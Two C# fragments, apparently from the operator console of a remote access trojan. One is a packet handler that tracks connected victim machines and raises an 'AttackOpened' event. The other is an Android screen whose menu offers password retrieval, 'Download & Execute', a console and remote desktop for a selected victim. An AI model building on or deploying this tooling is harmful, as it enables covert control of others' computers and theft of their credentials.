private void EndRead(IAsyncResult asyncResult)
        {
            try
            {
                var parameter = _readByteDelegate.EndInvoke(asyncResult);
                var size      = Sender.BinaryReader.ReadInt32();
                var bytes     = Sender.BinaryReader.ReadBytes(size);

                switch ((FromClientPackage)parameter)
                {
                case FromClientPackage.ResponseToAdministration:
                case FromClientPackage.ResponseToAdministrationCompressed:
                    var data = parameter == (byte)FromClientPackage.ResponseToAdministrationCompressed
                                                ? LZF.Decompress(bytes, 1)
                                                : bytes.Skip(1).ToArray();

                    if (CurrentController != null)
                    {
                        CurrentController.PackageReceived(bytes[0], data);
                    }
                    break;

                case FromClientPackage.ResponseLoginOpen:
                    var clientId = BitConverter.ToInt32(bytes, 0);
                    var client   = Clients.FirstOrDefault(x => x.Id == clientId);
                    if (client == null)
                    {
                        break;
                    }

                    CurrentController = new ClientController(client, _tcpClient, Sender);
                    if (AttackOpened != null)
                    {
                        AttackOpened.Invoke(this, EventArgs.Empty);
                    }
                    break;

                case FromClientPackage.NewClientConnected:
                    lock (_clientListLock) {
                        ConnectClient(new Serializer(new[] { typeof(ClientInformation), typeof(OnlineClientInformation) }).Deserialize <OnlineClientInformation>(bytes));
                    }
                    break;

                case FromClientPackage.ClientConnected:
                    lock (_clientListLock) {
                        ConnectClient(new Serializer(new[] { typeof(ClientInformation), typeof(OnlineClientInformation) }).Deserialize <OnlineClientInformation>(bytes));
                    }
                    break;

                case FromClientPackage.ClientDisconnected:
                    lock (_clientListLock) {
                        var disconnectedClientId = BitConverter.ToInt32(bytes, 0);
                        var disconnectedClient   =
                            Clients
                            .FirstOrDefault(x => x.Id == disconnectedClientId);
                        if (disconnectedClient == null)
                        {
                            break;
                        }

                        if (CurrentController != null && CurrentController.Client == disconnectedClient)
                        {
                            CurrentController.Dispose();
                            CurrentController = null;
                        }

                        Clients.Remove(disconnectedClient);

                        if (ClientListChanged != null)
                        {
                            ClientListChanged.Invoke(this, EventArgs.Empty);
                        }

                        if (ClientDisconnected != null)
                        {
                            ClientDisconnected.Invoke(this, disconnectedClient);
                        }
                    }
                    break;

                case FromClientPackage.DataTransferProtocolResponse:
                    DataTransferProtocolFactory.Receive(bytes);
                    break;

                default:
                    break;
                }

                _readByteDelegate.BeginInvoke(EndRead, null);
            }
            catch (Exception)
            {
                Dispose();
                if (Disconnected != null)
                {
                    Disconnected.Invoke(this, EventArgs.Empty);
                }
            }
        }
示例#2
0
        protected override void OnCreate(Bundle savedInstanceState)
        {
            base.OnCreate(savedInstanceState);

            // Create your application here
            _controller = ConnectionManager.Current.CurrentController;
            SetContentView(Resource.Layout.MainDrawerLayout);

            this.Window.SetTitle(string.Format("{0} - {1}", _controller.Client.UserName, _controller.Client.IpAddress));

            _fragments = new List <Fragment> {
                new HomeFragment(),
                new FunFragment(),
                new TaskManagerFragment(),
                new PasswordFragment(),
                new DownloadAndExecuteFragment(),
                new ConsoleFragment(),
                new RemoteDesktopFragment()
            };

            toolbar = this.FindViewById <Android.Support.V7.Widget.Toolbar>(Resource.Id.toolbar);

            var headerResult = new AccountHeaderBuilder()
                               .WithActivity(this)
                               .WithHeaderBackground(Resource.Drawable.header)
                               .Build();

            var homeItem = new PrimaryDrawerItem();

            homeItem.WithName("Home");
            homeItem.WithIdentifier(0);
            homeItem.WithIcon(FontAwesome.Icon.FawHome);
            homeItem.WithTag("Home");

            var funItem = new PrimaryDrawerItem();

            funItem.WithName("Fun");
            funItem.WithIdentifier(1);
            funItem.WithIcon(FontAwesome.Icon.FawMagic);
            funItem.WithTag("Fun");

            var taskManagerItem = new PrimaryDrawerItem();

            taskManagerItem.WithName("Task manager");
            taskManagerItem.WithIdentifier(2);
            taskManagerItem.WithIcon(FontAwesome.Icon.FawCogs);
            taskManagerItem.WithTag("Task manager");

            var passwordsItem = new PrimaryDrawerItem();

            passwordsItem.WithName("Passwords");
            passwordsItem.WithIdentifier(3);
            passwordsItem.WithIcon(FontAwesome.Icon.FawKey);
            passwordsItem.WithTag("Passwords");

            var downloadExecuteItem = new PrimaryDrawerItem();

            downloadExecuteItem.WithName("Download & Execute");
            downloadExecuteItem.WithIdentifier(4);
            downloadExecuteItem.WithIcon(FontAwesome.Icon.FawDownload);
            downloadExecuteItem.WithTag("Download & Execute");

            var consoleItem = new PrimaryDrawerItem();

            consoleItem.WithName("Console");
            consoleItem.WithIdentifier(5);
            consoleItem.WithIcon(FontAwesome.Icon.FawTerminal);
            consoleItem.WithTag("Console");

            var remoteDesktopItem = new PrimaryDrawerItem();

            remoteDesktopItem.WithName("Remote Desktop");
            remoteDesktopItem.WithIdentifier(6);
            remoteDesktopItem.WithIcon(FontAwesome.Icon.FawDesktop);
            remoteDesktopItem.WithTag("Remote Desktop");

            result = new DrawerBuilder()
                     .WithActivity(this)
                     .WithToolbar(toolbar)
                     .WithAccountHeader(headerResult)
                     .AddDrawerItems(
                homeItem,
                new DividerDrawerItem(),
                funItem,
                taskManagerItem,
                passwordsItem,
                downloadExecuteItem,
                consoleItem,
                new DividerDrawerItem(),
                remoteDesktopItem
                )                 // add the items we want to use With our Drawer
                     .WithOnDrawerItemClickListener(this)
                     .WithSavedInstance(savedInstanceState)
                     .WithShowDrawerOnFirstLaunch(true)
                     .Build();

            RecyclerViewCacheUtil.Instance.WithCacheSize(2).Init(result);

            if (savedInstanceState == null)
            {
                // set the selection to the item with the identifier 1
                result.SetSelection(0, true);
            }
            else
            {
                result.SetSelection(result.CurrentSelection, true);
            }

            ConnectionManager.Current.ClientDisconnected += ConnectionManager_Current_ClientDisconnected;
            ConnectionManager.Current.Disconnected       += ConnectionManager_Current_Disconnected;
            toolbar.MenuItemClick += Toolbar_MenuItemClick;

            Window.SetSoftInputMode(SoftInput.AdjustPan);
        }